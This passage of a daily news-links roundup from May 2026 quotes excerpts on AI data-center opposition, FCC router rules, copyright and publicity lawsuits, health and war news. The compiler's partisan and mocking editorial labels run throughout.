“I will not use my grade or position to attain pleasure, profit, or personal safety.” By converting his trust and confidence into financial gain, he not only violated this oath, but betrayed the social contract Americans have with their military. This is not only about ethics; it is also about our collective security. Markets are information systems, made up of data points. Adversaries do not require access to a full intelligence picture. They only need fragments—signals. They collect these bits of information and aggregate them to form a more comprehensive and actionable picture. o § Transparency/Investigative Reporting⠀➾ # ⚓ The Age AU ☛ Jeffrey_Epstein_America_Express:_How_he_moved women_around_the_world_with_his_credit_card⠀⇛ Jeffrey Epstein’s office set a rule for its special team inside American Express: spending on trips for young women and others had to be kept a secret, even from his inner circle. # ⚓ Ken Klippenstein ☛ Why_Is_Susan_Collins_Shaking?⠀⇛ In other words, Collins isn’t being honest; but the local media amplified her framing anyway, too lazy (or cushy) to independently check. And then the New York Times and other national outlets did the same. Here’s the real story. o § Environment⠀➾ # ⚓ Futurism ☛ Angry_Mom_Defeats_Entire_AI_Data_Center⠀⇛ While it’s a huge win for the town of Greenleaf, Black acknowledges that the fight is far from over. “We had such strong opposition, [Cloverleaf] said, ‘okay, we’ll just go elsewhere.’ And that’s what they do, unfortunately.” Still, the 64-year-old organizer isn’t gatekeeping any of this, and hopes the successes her nearby town enjoyed will inspire others to take action wherever the next Cloverleaf development pops up. # ⚓ MinnPost ☛ Ellison_calls_Trump_bid_to_block_climate_lawsuit 'frivolous'⠀⇛ In an interview with the Minnesota Reformer on Monday, Minnesota Attorney General Keith Ellison called the Trump administration’s recent attempt to block the state’s ongoing climate deception lawsuit against fossil fuel companies a “frivolous” delay tactic, adding that he is eager to begin discovery and get the case in front of a jury. # ⚓ Minnesota Reformer ☛ Minnesota_attorney_general_is_eager_to put_case_against_Big_Oil_in_front_of_a_jury⠀⇛ Ellison also pushed back on the notion that Minnesota wants to infringe on the federal government’s ability to “regulate” fossil fuels or refined products. Unlike state and local lawsuits taking fossil-fuel companies to task for causing climate change, he said Minnesota’s suit is about protecting consumers from alleged deception about the pollution caused by burning fossil fuels. “We’re not saying you can’t sell oil,” Ellison said. “We’re saying it’s just like tobacco,” he said. “If you say that ‘nine out of 10 doctors smoke Pall Mall’ … you’re lying to people,” he said. # ⚓ Renewable Energy World ☛ Those_damn_data_centers_|_Factor This_Brief⠀⇛ Meanwhile, online rhetoric on the topic is growing increasingly violent. Deteriorating sentiment towards AI has been accompanied by a rise in direct threats against individuals perceived as driving the technology forward, warns one nonprofit intelligence firm, as well as threats against policymakers and corporations involved in developing new data centers. Physical security, it turns out, might be just as important to computing projects as cybersecurity. So how does this all shake out? Your guess is as good as mine, but one thing is for sure: the temperature is rising, and, as we all know, cooling things down can get very expensive for data centers. # ⚓ Tom's Hardware ☛ AI_data_centers_face_increasing_complaints about_inaudible_but_'felt'_infrasound_—_citizens_complain high-_and_low-frequency_sounds_do_not_register_on_decibel meters_but_cause_adverse_health_effects⠀⇛ Data center projects have faced resistance from residents and communities over their impact on power prices, but another complaint is being raised more frequently — noise pollution. One form of sound pollution is called infrasound, which is inaudible to humans but can be felt, and some claim it causes headaches, insomnia, nausea, and anxiety. Then there's the normal garden-variety sound pollution. The Environmental and Energy Study Institute (EESI), a non-profit organization, said that high- and low-frequency sounds emitted by these industrial sites can be heard and felt for hundreds of feet in surrounding areas, with noise levels reaching as high as 96dB for 24 hours a day and seven days a week. # ⚓ Tom's Hardware ☛ AI_data_center_developers_target_rural territory_to_bypass_city_construction_bans_and_regulations_— rural_locations_allow_sites_to_bypass_city_council_approvals, rezoning_votes,_land-use_reviews,_and_reduce_public scrutiny⠀⇛ Developers are showing increased interest in unincorporated county land for putting up data centers, reducing regulatory friction, and allowing construction to proceed at a much quicker pace. According to a SemiAnalysis post on X, since these parcels of land are outside city limits, they do not have to go through city or town council approvals, rezoning votes, and land-use reviews. Many projects are experiencing delays because of pushback from the communities surrounding potential projects, with many jurisdictions approving moratoriums on data center construction, some of them permanent bans. # ⚓ The Register UK ☛ SoftBank_bets_on_battery_building_to_back bit_barns⠀⇛ The Japan-based tech investment biz says it aims to deploy the battery systems it is developing at its own large-scale AI server farms initially, but plans to make them more widely available in future. # § Energy/Transportation⠀➾ # ⚓ Vintage Everyday ☛ 1916_Detroit_Electric_Model_57 Brougham:_Silent_Elegance_of_the_Electric_Age⠀⇛ The 1916 Detroit Electric Model 57 Brougham was a refined and luxurious electric automobile that epitomized quiet elegance in the early automotive era. Built on a 100-inch wheelbase, this stately Brougham featured a tall, fully enclosed body with large windows, making entry and exit graceful while offering excellent visibility. Powered by a bank of batteries driving a quiet electric motor, it delivered smooth, vibration-free performance with a top speed of around 20 mph and a range of up to 80–100 miles per charge, ideal for urban and suburban use. # § Wildlife/Nature⠀➾ # ⚓ Smithsonian Magazine ☛ See_15_Stunning_Images_That Won_the_German_Society_for_Nature_Photography's_Annual Contest⠀⇛ The contest has seven categories, including a new one this year that highlights biodiversity. All the photographs fall in line with the society’s mission, which “demands and supports nature photography that embraces authenticity, true conservation and artistic quality to the same degree,” according to the GDT’s website. # ⚓ International Business Times ☛ 'I_Don't_Care,_I'm Rich'_-_Who_Is_The_Cruel_Tourist_Who_Threw_A_Rock_At Beloved_Hawaiian_Seal_-_Then_Gets_Beaten_Up_For_It⠀⇛ The case has now been handed over to the National Oceanic and Atmospheric Administration (NOAA) for federal review. Under the Marine Mammal Protection Act and the Endangered Species Act, the man faces potential fines of up to $50,000 (about £37,000) and possible imprisonment. Despite his reported claims of being 'rich' enough to afford the penalties, Mayor Bissen has vowed to see the individual prosecuted to the 'fullest extent of the law' to ensure that wealth does not provide a bypass for animal cruelty in the Hawaiian Islands. o § Finance⠀➾ # ⚓ CNBC ☛ GM_lays_off_500-600_salaried_IT_workers_to_cut costs⠀⇛ General Motors is laying off hundreds of salaried employees in its information technology operations. o § AstroTurf/Lobbying/Politics⠀➾ # ⚓ India Times ☛ SoftBank's_OpenAI-related_debt_in_focus_as another_strong_quarter_expected⠀⇛ While SoftBank's "all-in" bet on OpenAI has proven lucrative so far - the ChatGPT-creator's valuation has leapt to $840 billion in its latest funding round in February - analysts say the Japanese company may be approaching the limit of what it can finance. # ⚓ The Register UK ☛ GitLab_promises_a_different_kind_of layoff_as_biz_pivots_toward_AI⠀⇛ What is it then? Well, according to Staples, GitLab plans to use most of the money it saves by sacking staff to invest in its business. # ⚓ The Record ☛ FCC_pushes_ban_on_security_updates_for foreign-made_routers,_drones_to_2029⠀⇛ The Federal Communications Commission (FCC) on Friday extended its deadline for a ban on software and firmware updates for foreign-made routers, updating a controversial decision announced in March that was opposed by the tech industry. The router deadline, originally slated for March 1, 2027, has been pushed back to at least January 1, 2029, according to the announcement from the FCC’s Office of Engineering and Technology (OET). # ⚓ Dark Reading ☛ FCC_Softens_Ban_on_Foreign-Made_Routers⠀⇛ The decision modifies a March 2026 FCC ruling that prohibits foreign manufacturers from selling new consumer router models in the US, except for those the agency had already approved. The FCC cited national security concerns as its primary justification for adding foreign-made small office and home office routers to its list of prohibited equipment and noted how adversaries, including nation-state groups, have used routers to facilitate attacks against US organizations. # ⚓ Security Week ☛ Cloudflare_Lays_Off_1,100_Employees_in_AI- Driven_Restructuring⠀⇛ Departing employees will receive severance equivalent to their full base salary through the end of 2026. The company noted that US workers will continue to receive healthcare coverage through December 31. # ⚓ RIPE ☛ The_RIPE_Chair_Team_Reports_-_May_2026⠀⇛ The RIPE Chair Team reports on what to expect at RIPE 92, including the main programme and parallel events, WG chair selections and support for newcomers, as well as highlights from recent industry events. # ⚓ Panagiotis Vryonis ☛ The_Cathedral,_the_Bazaar_and_the Kitchen⠀⇛ Every kitchen evolves around the habits of its cook. Tools sit where they are convenient. Ingredients are substituted freely. Recipes are modified on instinct. Two people may start from the same dish and end up with completely different results. Unlike the Bazaar, a kitchen is deeply personal. Recipes are shared freely, but kitchens rarely converge into a universal standard. Visitors may admire another cook’s techniques, yet still return home and prepare the dish their own way. In the Kitchen model, open source becomes less like public infrastructure and more like published craft: software as personal utility, openly visible, endlessly adaptable, and increasingly authored by individuals rather than communities. # ⚓ The New Leaf Journal ☛ Sliwa_for_NYC_Mayor_Lawn_Signs_Seen in_May_2026⠀⇛ I was surprised to see four pristine, like new, Curtis Sliwa lawn signs laying on a pile of trash bags. I thought about taking one of the signs as a memento, but they are a big (and I do not have a lawn), so I settled for a photograph that I could share with readers of The New Leaf Journal. # ⚓ Mike Brock ☛ The_Candidate_I_Want⠀⇛ The presidency was not designed as the engine of American policy-making. The framers placed the legislative power in Congress because Congress is the institution closest to the people — 435 House members each representing roughly 770,000 constituents, 100 senators accountable to specific state electorates, deliberating in public through a procedural architecture designed to surface popular preferences and produce legislation that has survived bicameral review and majority assent. The substantive expression of popular sovereignty, as the founders understood it, is the legislation Congress passes. Not the policy preferences of the president. # ⚓ Mike Brock ☛ On_the_Far_Left⠀⇛ Zohran Mamdani and Alexandria Ocasio-Cortez are not far left by this definition. By European, British, Australian, Japanese, or South Korean standards, they are relatively moderate politicians pushing popular policies — distributional programs focused on education, healthcare, housing. And yes, raising taxes to pay for those things. This is not far left. This is completely within the boundaries of normal liberal-democratic political discourse in every other rich country on earth. The Labour Party in Britain has been to the left of Mamdani in living memory. The German Social Democrats have been to the left of AOC in living memory. The Canadian NDP, the Australian Labor Party, the Japanese Constitutional Democratic Party, the South Korean Democratic Party — every one of these parties, in their normal operating range, has supported policy positions to the left of what the American Democratic Party’s most-attacked-as-far- left figures are actually proposing. The American discourse calls these figures far left because the American discourse has been calibrated by people who have specific reasons to want the calibration to land that way. It is not because the figures are actually far left. # ⚓ CoryDoctorow ☛ Pluralistic:_2024_(apart_from_the_obvious)_ (11_May_2026)⠀⇛ There's one book that crystallizes my thoughts on this better than any other: Naomi Klein's 2023 Doppelganger, which analyzes our politics in terms of (warped) "mirror images." One of the mirror world pairings that Klein analyzes is the progressive movement, a coalition of liberals and leftists (led by liberals). Like every coalition, the two main groups that constitute "the progressives" do not agree on many important issues, though they do have common goals. Both groups support equality for people of all genders and races, but for liberals, an equal world is one that fixes the problem that 150 straight white men own everything by replacing 75 of them with racialized people, women and queer people (whereas the leftist fix is abolishing the system in which 150 people own everything). # ⚓ Ava ☛ a_little_note_on_the_choices_we_make⠀⇛ You compromising on your understanding of what’s right and wrong simply to appease others and not stand out is sad. You are betraying yourself and what you stand for for very little, temporary gain, and you rob others of being challenged and inspired. o § Freedom of Information / Freedom of the Press⠀➾ # ⚓ Techdirt ☛ Share-Owning_Journalism_Orgs_Press_Paramount_For Company_Docs_On_Corrupt_Trump_Merger_Dealings⠀⇛ Now a coalition of press groups, including Freedom of the Press Foundation (FPF) and Reporters Without Borders, are pressing Paramount regarding “potentially corrupt acquisitions and deals” they argue could undermine shareholder value by degrading the (already sagging) quality of journalism at CBS News and CNN, while “relinquishing editorial control of major news outlets to the Trump administration.” In a letter sent to former Trump DOJ “antitrust enforcer” (using that term ironically) turned Paramount top lawyer Makan Delrahim, the groups highlight all the dodgy bullshit that we’ve well- covered over the last year, whether it’s CBS paying the president a $16 million bribe to gain merger approval, CBS agreeing to install an “ombudsman” to ensure the network is consistently kissing the president’s ass, or Paramount billionaire owner Larry Ellison privately meeting with his friend Trump to promise he’d fire certain CNN anchors if the government allowed him to buy Warner Brothers. # ⚓ Techdirt ☛ Kash_Patel’s_‘Leadership’_Is_Pretty_Much_Just Libel_Lawsuits_And_Lie_Detectors⠀⇛ Will this reporting prompt another lawsuit from Kash Patel? I would hope his lawyers are smarter than Patel appears to be, because going back to the same well so quickly following a libel lawsuit loss might add sanctions to the humiliation of another public loss in a federal court. # ⚓ Karl Bode ☛ The_Billionaires_Are_Afraid⠀⇛ This is not the behavior of confident people. Larry Ellison isn't trying to turn CNN, CBS, and TikTok into propaganda bullhorns because he's supremely confident that he has American culture under his thumb. Jeff Bezos didn't buy and castrate the Washington Post because he's feeling good about his long term chances at erecting a permanent corporatist autocracy. American oligarchs aren't just trying to destroy journalism, they're trying to replace it with a well-funded simulacrum designed to blow smoke up your ass. They're so positively terrified by the threat of informed consensus they've taken direct aim at the last remnants of institutional knowledge. What are they so afraid of? # ⚓ Ipswich News ☛ 'We_don't_need_you':_Reform_shuts_door_on local_media_hours_after_taking_control_of_Suffolk_County Council⠀⇛ The reason became clear during the campaign. Reform candidates and councillors had been instructed by Ipswich Reform's chairman, Shayne Pooley, not to speak to Ipswich.co.uk, or any other media for that matter. The instruction held throughout the campaign. On election day itself, only one Reform candidate, Stuart Allen, spoke briefly to the BBC. The party's other candidates, including newly elected councillors, declined to be interviewed or photographed on Pooley's orders. o § Civil Rights / Policing / Accessibility⠀➾ # ⚓ SBS ☛ Wealth_inequality:_Australia's_dying_middle_class_— and_the_rise_of_an_inherited_wealth_nation_|_SBS_News⠀⇛ Middle-class Australian households are in decline as the enormous growth in property prices since the COVID-19 pandemic has boosted the wealth of the country's richest families. # ⚓ The Atlantic ☛ Save_the_Taxi_Drivers⠀⇛ More certain than safety are profits. When companies talk about safety, it’s not just because they care about people, but because they want to sell their product. Self-driving cars are projected to be an $87 billion industry by 2030. And the robotic “passenger economy,” which includes driverless taxis and robot deliveries, could generate as much as $7 trillion by 2050. Chances are slim that the average American will benefit much financially from any of that money. But we will lose something, as Big Tech yet again destroys human interaction and calls it “convenience.” # ⚓ Techdirt ☛ Tech_Companies_Fail_To_Kill_Colorado’s_‘Right_To Repair’_Law⠀⇛ Last month we noted how tech companies, automakers, and others were trying to kill Colorado’s existing “right to repair” law, which is supposed to make it cheaper and easier to repair the things you own. More specifically, tech companies like Cisco and IBM were pushing Colorado lawmakers to sign off on SB26-090, the Exempt Critical Infrastructure from Right to Repair law, which would neuter much of the state’s existing protections under the pretense of making the public safer. # ⚓ The Nation ☛ Care_Workers_Are_Saying_No_to_24-Hour Workdays⠀⇛ In its current formulation, No More 24 would eliminate 24-hour shifts, replace them with 12-hour shifts, and impose a maximum limit of 56 hours per week. Additionally, the bill would empower the Department of Consumer and Worker Protection—one of Mamdani’s key enforcement mechanisms—to investigate violators and punish them accordingly. Fortunately for workers, the new version of the No More Act 24—currently under the title of Intro. 303—has a host of backers in City Hall. Among the sponsors of the act are city progressives like Chi Ossé, who was recently arrested during an eviction defense against deed theft in Bed-Stuy, public advocate Jumanne Williams, and the bill’s author, Christopher Marte, who was a keynote speaker at the rally. # ⚓ Jacobin Magazine ☛ Workers_Have_a_Secret_Weapon_Against_the AI_Build-Out⠀⇛ Left to their own devices, the likes of Altman and the other titans of the tech billionaire elite would like nothing more than to remake society into one where all else is subservient to their profit margins. Amazon founder Jeff Bezos is currently on a fundraising spree to bring in $100 billion to Project Prometheus, of which he is the co-CEO. Describing itself as a “manufacturing transformation vehicle,” the fund aims to buy up, hollow out, and implement AI and other forms of automation across manufacturing firms in various sectors. This future is being actively contested on multiple fronts. Communities across the country have banded together to fight the construction of data centers in their towns and have won moratoriums blocking future construction in others. Unions are beginning to bargain around AI and workers are developing tactics to fend off the impacts of AI in an increasing number of workplaces. In 2024, automation, though not directly related to AI, was a central issue of the three-day strike by the International Longshoremen’s Association (ILA) that shut down ports across the East and Gulf Coasts. o § Internet Policy/Net Neutrality⠀➾ # ⚓ Sam Sharp ☛ they_told_me_the_internet_was_forever⠀⇛ The link rot is a symptom of the larger rot that is taking place on the web. This intentional hiding of our world's past is intended to disorient us. If the big tech internet places are continuing to exert their control over us by making their online spaces more and more oppressive, by hiding history they can trick us into believing that what we're experiencing now is Just How Things Have Always Been. # ⚓ Ben Werdmuller ☛ Asking_platforms_to_do_better_won't_work. We_need_to_force_their_hands⠀⇛ The internet as it stands is perfectly optimized for the needs of these platforms: engagement, advertising revenue, and rapid growth. Adding pro- social nudges would add friction to their well- oiled loops and take users off-platform. That’s exactly why Google has moved from leading people to the best websites for a query to answering those questions on-page: its own needs are best served by keeping users in one place. For them to make different choices, they would need to be far more benevolent architects than they are. # ⚓ TechCrunch ☛ Digg_tries_again,_this_time_as_an_AI_news aggregator⠀⇛ Just months after launching, the reboot of Kevin Rose’s once-popular link-sharing site shut down in March as the company shifted course. Originally redesigned as a competitor to the massive community forum site Reddit, the new Digg found that it wasn’t able to effectively manage the bot traffic invading its platform and hadn’t differentiated itself enough from the competition to make an impact. [...] Digg may also struggle when it moves on to other topics, as AI news is one of the few areas where discussion still heavily takes place on X. Other verticals don’t have the same traction, especially after Musk’s takeover of Twitter gave rise to an ecosystem of competitors, which now includes Meta’s creator-focused Threads. Many non-tech-related discussions are now happening off X, or off the public internet entirely. However, if Digg does end up gaining steam, it could serve as a useful source of website traffic to publishers whose businesses have been decimated by declining clicks thanks to Google’s changing algorithms and the impact of AI Overviews, the AI- generated summaries Google displays atop search results, which often answer users’ questions before they ever click through to a website. o § Monopolies/Monopsonies⠀➾ # § Patents⠀➾ # § Software Patents⠀➾ # ⚓ Hackaday ☛ Honda_Wants_To_Complicate_Your_E- Motorcycle⠀⇛ If you ride a motorcycle, you know it is a bit of an art to manage the transmission on a typical bike. Electric motorcycles lose some of that. You usually just have a throttle and a brake. No transmission and, crucially, no clutch. Honda just patented a simulated clutch for those who want the old-school experience, according to [Ben Purvis], writing for Australian Motorcycle News. # § Trademarks⠀➾ # § Right of Publicity⠀➾ # ⚓ Digital Music News ☛ Dua_Lipa_Sues_Samsung_for $15M_for_Using_Her_Likeness⠀⇛ Dua Lipa has filed a $15 million lawsuit against Samsung, claiming the company used her image to sell TVs without permission and without paying her. But did Samsung really whip up an entire brand sponsorship ‘deal’ without even contacting the artist? # ⚓ Jonathan Faber ☛ Samsung_sued_by_Dua_Lipa. Similarities_to_Pele's_lawsuit_against_Samsung?⠀⇛ Based on reporting, it appears Dua Lipa also owns the copyright to the photograph Samsung used on its packaging. Dua Lipa sues Samsung # ⚓ Reuters ☛ Dua_Lipa_sues_Samsung_for_$15_million for_allegedly_using_her_image_to_sell_TVs⠀⇛ The ⁠image alleged to have been used on the TV boxes is titled "Dua Lipa - Backstage at Austin ​City Limits, 2024," and Lipa is the owner of all rights, title and interest in the image, ​the lawsuit said. The suit was filed on Friday in the California federal court. Besides copyright and trademark infringement, Lipa has accused Samsung Electronics of breaching publicity rights. # § Copyrights⠀➾ # ⚓ Digital Music News ☛ Hybe_&_NewJeans_Slapped_with Copyright_Infringement_Lawsuit⠀⇛ The four writers claim they submitted “One of a Kind” to NewJeans, but were told it was not selected. But when “How Sweet” was released just four months later, the writers say the song’s first verse was “quantitatively and qualitatively similar” to the first verse in “One of a Kind.” # ⚓ Torrent Freak ☛ Publishers_Seek_$19.5_Million_and Domain_Takedown_Order_Against_Anna's_Archive⠀⇛ A group of high-profile publishing companies is seeking a $19.5 million default judgment against shadow library Anna's Archive. The proposed order comes with an injunction that would compel more than twenty named international domain registries, hosts, and service providers, including Cloudflare and Njalla, to disable access to the pirate site's three remaining domains. # ⚓ Torrent Freak ☛ Court_Awards_Aylo_$4.2_Million,_Not $84_Million,_in_Pornhits_Piracy_Case⠀⇛ Aylo asked a Washington federal court for an $84 million default judgment against the operator of pirate site Pornhits, citing the same $15,000-per-work formula the court had previously approved in similar cases. This time, Judge Benjamin Settle denied the request, awarding the statutory minimum instead, while warning that anything more would be a "windfall." The porn company did secure a domain transfer order, however, which may be the most important of all. =============================================================================== Image source: Bottle_With_Message =============================================================================== * Richard_Stallman_to_Give_Public_Talk_in_Erlangen,_Germany_(Next_European Tour) * Gemini_Links_12/05/2026:_On_Astronomy_and_Stargazing,_Coyote_Time,_and Freenom ䷩ 𝚕𝚒𝚗𝚎 7657 ╒═══════════════════ 𝐃𝐀𝐈𝐋𝐘 𝐋𝐈𝐍𝐊𝐒 ═════════════════════════════════════════════╕ ⠀⌧ █▇▆▅▄▃▂▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁ Links 12/05/2026: Samsung Sued by Dua Lipa (Publicity Rights), ‘Savage Love’ Copyright Infringement Lawsuit⠀▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▂▃▄▅▆▇█ ⌧ posted by Roy Schestowitz on May 12, 2026 🄸🄼🄰🄶🄴_🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽_⦇Lipa_in_2016⦈_ 🄸🄼🄰🄶🄴 🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽 ⦇GNOME bluefish⦈ § Contents⠀➾ * Leftovers o Science o Hardware o Health/Nutrition/Agriculture o Proprietary o Security # Privacy/Surveillance o Defence/Aggression o Environment # Energy/Transportation # Wildlife/Nature # Overpopulation o Finance o AstroTurf/Lobbying/Politics o Censorship/Free_Speech o Freedom_of_Information_/_Freedom_of_the_Press o Civil_Rights_/_Policing_/_Accessibility o Internet_Policy/Net_Neutrality o Digital_Restrictions_(DRM) o Monopolies/Monopsonies # Patents # Trademarks # Right_of_Publicity # Copyrights * § Leftovers⠀➾ o § Science⠀➾ # ⚓ Science Alert ☛ Stardust_Trapped_in_Antarctic_Ice_Reveals Earth's_Journey_Through_The_Cosmos⠀⇛ A travel diary frozen for tens of thousands of years. # ⚓ Science Alert ☛ Surprise_X-Ray_Discovery_May_Explain Strange_Red_Dots_in_Early_Universe⠀⇛ This one is unlike any we've seen before. # ⚓ Science Alert ☛ The_World's_First_Nuclear_Explosion_Forged an_'Impossible'_Crystal⠀⇛ The bomb that changed the world. o § Hardware⠀➾ # ⚓ Tom's Hardware ☛ Samsung_holds_desperate_final_talks_with union_over_18-day_chip_factory_strike_that_could_cost_$20 billion_—_government-mediated_summit_seeks_to_avert industrial_action_that_could_hit_HBM_production⠀⇛ The two sides are meeting through South Korea's National Labor Relations Commission after earlier rounds of mediation in February and March collapsed. o § Health/Nutrition/Agriculture⠀➾ # ⚓ Latvia ☛ Suicide_rates_in_Latvia_show_bleak_picture⠀⇛ Intentional self-harm, or suicide, is the leading external cause of death according to the latest data for 2024. This means that more people die by suicide in Latvia than in car accidents. Moreover, suicide rates are high among both adolescents and adults, LTV programme "De Facto" reported on 10th May. # ⚓ Science Alert ☛ Common_Sweetener_May_Harm_Critical_Brain Barrier,_Risking_Stroke⠀⇛ Sugar-free still has its risks. # ⚓ Science Alert ☛ Emerging_Osteoarthritis_Treatment_Involves Electrically_Stimulating_Muscles⠀⇛ And it's showing positive signs in trials. # ⚓ New York Times ☛ A_Single_Infusion_Could_Suppress_H.I.V. for_Years,_Study_Suggests⠀⇛ A study of a few patients, to be presented this week, showed promise for a type of therapy that has already cured some blood cancers. # ⚓ New York Times ☛ What_to_Know_About_the_Hantavirus_Outbreak on_an_Atlantic_Cruise_Ship⠀⇛ The health authorities are working to calm fears and contain the rare virus. Three passengers died after traveling on the ship, and several others fell ill or tested positive. # ⚓ New York Times ☛ RFK_Jr._Is_Driving_a_Vast_Inquiry_Into Vaccines,_Despite_His_Public_Silence⠀⇛ Health Secretary Robert F. Kennedy Jr. has toned down his public criticism of vaccines, under orders from the White House. But inside his department, a sprawling research effort is a top priority. # ⚓ Latvia ☛ Reminder:_boil_your_tap_water_this_week_in_Rīga⠀⇛ From May 11 to 15, preventive disinfection, or chlorination, of the Rīga water supply network is planned, as reported earlier by LSM. # ⚓ Bridge Michigan ☛ Michigan_teen_tobacco_use_ticks_up_as prevention_funding_lags⠀⇛ Michigan spends far less on tobacco prevention than the federal government recommends. As teen use begins to climb again, health advocates say that should change. o § Proprietary⠀➾ # ⚓ SANS ☛ Apple_Patches_Everything,_(Mon,_May_11th)⠀⇛ # § So-Called 'Artificial Intelligence' ('AI') / LLM Slop / Plagiarism⠀➾ # ⚓ Futurism ☛ Graduation_Speaker_Shocked_When_She’s Loudly_Booed_by_Students_for_Saying_Hey_Hi_(AI)_Is_the Future⠀⇛ "What happened?" # ⚓ Futurism ☛ Amazon_Pushed_Its_Employees_to_Use_Its_In- House_Hey_Hi_(AI)_Coding_Tool,_But_They_Wouldn’t_Stop Asking_for_Claude [Ed: The workers hate all of it; this is dogma from management drunk on hype and marketing kickbacks]⠀⇛ It's officially opening the floodgates. # ⚓ Digital Music News ☛ Warner_Music_and_Suno_Really, Really_Don’t_Want_You_to_See_Their_Licensing_Agreement —_And_They’re_Fighting_Tooth-and-Nail_Against_UMG_and Sony_to_Keep_It_Private⠀⇛ Suno and Warner Music Group (WMG) really don’t want to reveal the terms of their lawsuit-ending licensing agreement: Now, the Hey Hi (AI) music generator is aggressively firing back against a demand from Universal Music and Sony Music to produce the deal. # ⚓ New York Times ☛ Microsoft’s_C.E.O._Intervened_When Proprietary_Chaffbot_Company_Fired_Scam_Altman,_MElon’s Lawyer_Claims⠀⇛ MElon’s lawyer argued that Microsoft’s Satya Nadella played a role in getting Mr. Altman his job back at Proprietary Chaffbot Company when he was briefly fired in 2023. # ⚓ Futurism ☛ OpenAI_Sued_for_Mass_Shooting:_“If_Abusive Monopolist_Microsoft_Chaffbot_Were_a_Person,_It_Would Be_Facing_Murder_Charges”⠀⇛ It's the latest lawsuit over ChatGPT's alleged role in mass shootings. o § Security⠀➾ # § Privacy/Surveillance⠀➾ # ⚓ NYPost ☛ Netflix_is_spying_on_children_and_selling user_data,_Texas_AG_Ken_Paxton_alleges_in_lawsuit⠀⇛ "When you watch Netflix, DRM spreader Netflix watched you," Texas AG Ken Paxton alleges in the lawsuit. o § Defence/Aggression⠀➾ # ⚓ The Straits Times ☛ Philippine_Senate_goes_on_lockdown_to protect_former_'drugs_war'_enforcer⠀⇛ Philippine Senator Ronald dela Rosa, the chief enforcer of former President Rodrigo Duterte's deadly "war on drugs", was on Monday placed under the protective custody of the Senate after a brief standoff with law enforcement agents. # ⚓ The Straits Times ☛ South_Korea_exploring_using_Hyundai robots_as_army_numbers_fall⠀⇛ The country’s standing forces have shrunk by 20 per cent in the past six years to 450,000. # ⚓ The Straits Times ☛ South_Korea_condemns_attack_on_cargo ship_in_Strait_of_Hormuz,_vows_response⠀⇛ South Korea's presidential Blue House on Monday condemned in the strongest terms an attack against a cargo ship operated by a Korean shipper this month in the Strait of Hormuz and said it plans to respond once the source of the attack is identified. # ⚓ Marcy Wheeler ☛ Humiliation⠀⇛ Dihydroxyacetone Man walks into his summit with China in the wake of recent demonstrations that his bullying is failing: He can neither deliver on his threats nor his promises. That makes him ripe for humiliation. # ⚓ The Straits Times ☛ Taiwan_confident_in_US_ties_but_hopes for_no_‘surprises’_from_Convicted_Felon’s_China_summit⠀⇛ The issue of democratically governed Taiwan is certain to come up during the Convicted Felon-Xi summit. # ⚓ The Straits Times ☛ China_says_it_won’t_allow_Taiwan_to attend_WHO’s_annual_assembly⠀⇛ Taiwan is excluded from most international organisations because of objections from Beijing. # ⚓ Tom's Hardware ☛ IRGC-linked_media_outlines_plan_to_tax_and control_undersea_internet_cables_in_the_Hormuz_Strait_— Iran's_mouthpiece_calls_for_a_cut_of_$10_trillion_of transactions_that_pulse_through_the_cables_daily⠀⇛ The oil and shipping choke point of the Strait of Hormuz looks set to become a digital pressure point with internet cabling under threat. # ⚓ New York Times ☛ Former_Hostage_Calls_on_All_of_Israel’s Government_to_Resign⠀⇛ Rom Braslavski, who said he had endured starvation, torture and sexual abuse during two-year captivity, demanded that members “take responsibility and get out of our lives.” # ⚓ France24 ☛ Spain,_Ireland,_Slovenia_will_not_broadcast Eurovision_over_Israel's_participation⠀⇛ Spain, Ireland and Slovenia will not broadcast the Eurovision Song Contest when the grand final event takes place on Saturday, doubling down on their refusal to participate in the competition in protest over Israel's inclusion. Slovenian broadcaster RTV will instead show the programme series "Voices of Palestine" while Ireland will broadcast a Eurovision-themed episode of the Irish- made sitcom "Father Ted". # ⚓ France24 ☛ Kenya_summit_represents_'demarcation_point': France_'wants_to_do_business'_with_African_continent⠀⇛ Nadia Massih is pleased to welcome Dr. Douglas Yates, Author, Political Scientist and Professor and at the American Graduate School of International Relations and Diplomacy. President Emmanuel Macron is co-hosting the Africa Forward Summit alongside Kenyan President William Ruto. entering what Dr. Yates describes as “a demarcation point.” After years of mounting hostility in West Africa, military ruptures in Mali, Burkina Faso and Niger, and the growing presence of Russia and China across the continent, Paris is seeking to redefine its place beyond the historic confines of Françafrique. # § Russia, Belarus, and War in Ukraine⠀➾ # ⚓ LRT ☛ Buses_dump_fuel_as_Lithuania_imposes_border crossing_limits⠀⇛ Vehicles entering Lithuania from Russia and Belarus are no longer allowed to bring in more than 200 litres of fuel. By the morning of May 8, nearly 30 vehicles, including a coach operated by the Toks firm, had been denied entry to the country. # ⚓ LRT ☛ Lithuania_says_moving_US_troops_closer_to Russia_border_would_strengthen_deterrence⠀⇛ Lithuanian Foreign Minister Kęstutis Budrys said Monday that relocating some US troops from Germany to countries bordering Russia and Belarus would strengthen NATO’s deterrence posture, following Washington’s announcement that it plans to reduce its military presence in Germany. # ⚓ New York Times ☛ Putin_Said_the_War_‘Is_Coming_to_a Close,’_but_That’s_Not_All_He_Said⠀⇛ The Russian leader is walking a tightrope: acknowledging public discontent while offering no indication that he might give up on his demands. # ⚓ LRT ☛ Ukraine_ready_for_serious_talks_with_Russia_– Budanov_in_Vilnius⠀⇛ Kyrylo Budanov, head of the Ukrainian presidential administration and former military intelligence chief, said Monday that a phone call between Ukrainian President Volodymyr Zelensky and Russian President Vladimir Putin would not happen “out of the blue”, but Kyiv would be prepared for serious talks if Moscow was genuinely willing to engage. # ⚓ Latvia ☛ No_plans_for_broad_state_aid_related_to Middle_East_crisis_in_Latvia⠀⇛ The hostilities in the Middle East are already affecting fuel prices and fueling concerns about further increases in energy and food costs. Ministries are already preparing potential support scenarios, but one thing is clear: unlike during the Covid- 19 era, broad benefits for everyone are not being promised, Latvian Radio reports on 11th May. # ⚓ European Commission ☛ Speech_by_President_von_der Leyen_at_the_High-level_Meeting_of_the_International Coalition_for_the_Return_of_Ukrainian_Children⠀⇛ # ⚓ European Commission ☛ EU,_Ukraine,_Canada_and partners_join_efforts_to_return_forcibly_transferred 